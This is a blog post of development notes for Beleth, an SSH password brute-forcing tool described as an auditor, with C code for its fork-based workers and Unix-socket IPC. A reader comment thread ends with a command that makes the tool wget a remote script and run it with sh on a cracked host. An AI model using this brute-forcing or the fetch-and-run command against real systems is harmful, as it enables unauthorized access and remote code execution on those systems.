Saturday, November 9, 2013

Development notes from Beleth: Multi-threaded SSH Password Auditor

Introduction

Beleth is a fast multi-threaded SSH password auditing tool. For a quick introduction to the tool and how to use it, head over to Blackhat Library.

Get the source

Beleth is available on github and will continue to be updated with new features. If you'd like in on the development, submit a pull request.

$ git clone https://github.com/chokepoint/Beleth.git
$ cd beleth
$ make

Multi-threaded design

There are a couple of different options available for developers when coming up with multi-threaded design on Linux based systems using C. Two of the most popular are fork() and pthread_create(). Fork() differs from pthread_create() in that address space is not shared between the parent and child threads. Instead, a complete copy of the parent's address, code, and stack spaces are created for the child process. In order to keep dependencies to a minimum, I decided to go with a standard fork design.

pid = fork();
if (pid < 0) {
    fprintf(stderr, "[!] Couldn't fork!\n");
    destroy_pw_list();
    exit(1);
} else if (pid == 0)  { /* Child thread */
    crack_thread(t_current);
    if (ptr != NULL)
        free(ptr);
} else {               /* Parent thread */
    ...
}

This is great, but we need a way to control the child processes that are running through the password list.

Inter-process Communication (IPC)

Again, there are many options for developers when it comes to IPC as well. Below is a list of only some of the available options.

  • Shared Memory
  • FIFOs
  • Half-Duplex Pipes
  • Full-Duplex Pipes
  • Sockets

We are using fork() so memory sharing is not an immediate option, unless we feel like mmap()ing a shared memory space for communication, but that can get messy. FIFOs and pipes would work for distributing the wordlist among threads, but in order to keep options open Beleth uses Unix Domain Sockets for all IPC. By designing IPC with sockets, it would be trivial to turn Beleth into a distributed cracking platform.

The task handling process binds to a socket file

int listen_sock(int backlog) {
 struct sockaddr_un addr;
 int fd,optval=1;
 
 if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error setting up UNIX socket\n");
  return -1;
 }
 
 fcntl(fd, F_SETFL, O_NONBLOCK); /* Set socket to non blocking */
 setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(int));
 
 memset(&addr,0x00,sizeof(addr));
 addr.sun_family = AF_UNIX;
 strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
 
 unlink(sock_file);
 
 if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error binding to UNIX socket\n");
  return -1;
 }
 
 if (listen(fd, backlog) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error listening to UNIX socket\n");
  return -1;
 }
 
 return fd;
}

Each cracking thread establishes a connection to the socket file in order to request the next password in the list, as well as tell the task handler when a correct password is found.

int connect_sock(void) {
 int fd;
 struct sockaddr_un addr;
 
 if ((fd = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error creating UNIX socket\n");
  return -1;
 }
 
    memset(&addr,0x00,sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, sock_file, sizeof(addr.sun_path)-1);
    
    if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
  if (verbose >= VERBOSE_DEBUG)
   fprintf(stderr, "[!] Error connecting to UNIX socket\n");
  return -1;
 }
 return fd;
}

The protocol is simple and based on the following definitions located in beleth.h.

/* IPC Protocol Header Information */
#define REQ_PW     0x01 /* Request new password to try */
#define FND_PW     0x02 /* Found password */
#define NO_PW    0x03 /* No PWs left... cleanup */

To-do list

  • Add option for user name list
  • Add option for host list
  • Add simple port scanner and feed new IPs to the task handler
  • Add distributed cracking support

2 comments:

  1. thanks for your good work ! for your todo list, instead of executing a simple command, what about uploading a script and then executing it ?

    ReplyDelete
    Replies
    1. That's not a bad idea. An easy work around would be to use a curl/wget one liner followed by a command to run the script. For example...

      ./beleth -p 22 -t 127.0.0.1 -c 'wget http://chokepoint.net/script.sh && sh ./script.sh'

      Delete